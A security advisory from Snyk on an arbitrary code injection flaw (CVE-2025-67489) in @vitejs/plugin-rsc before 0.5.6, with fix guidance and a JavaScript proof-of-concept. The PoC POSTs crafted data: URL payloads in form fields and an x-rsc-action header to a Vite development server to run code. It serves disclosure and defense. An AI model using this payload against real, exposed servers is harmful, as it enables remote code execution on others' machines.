Arbitrary Code Injection Affecting @vitejs/plugin-rsc package, versions <0.5.6
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Start learning- Snyk IDSNYK-JS-VITEJSPLUGINRSC-14236608
- published9 Dec 2025
- disclosed8 Dec 2025
- creditUnknown
Introduced: 8 Dec 2025
NewCVE-2025-67489 (opens in a new tab)How to fix?
Upgrade @vitejs/plugin-rsc to version 0.5.6 or higher.
Overview
@vitejs/plugin-rsc is a React Server Components (RSC) support for Vite.
Affected versions of this package are vulnerable to Arbitrary Code Injection via unsafe dynamic imports in the loadServerAction, decodeReply, and decodeAction server APIs. An attacker can execute arbitrary JavaScript code with Node.js privileges by sending crafted HTTP requests to the development server endpoints.
Exposed development servers, such as those running with the vite --host option, are vulnerable.
PoC
const payload = {
0: ["$F1"],
1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]));
}
const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
method: "POST",
headers: {
"x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
},
body: fd,
})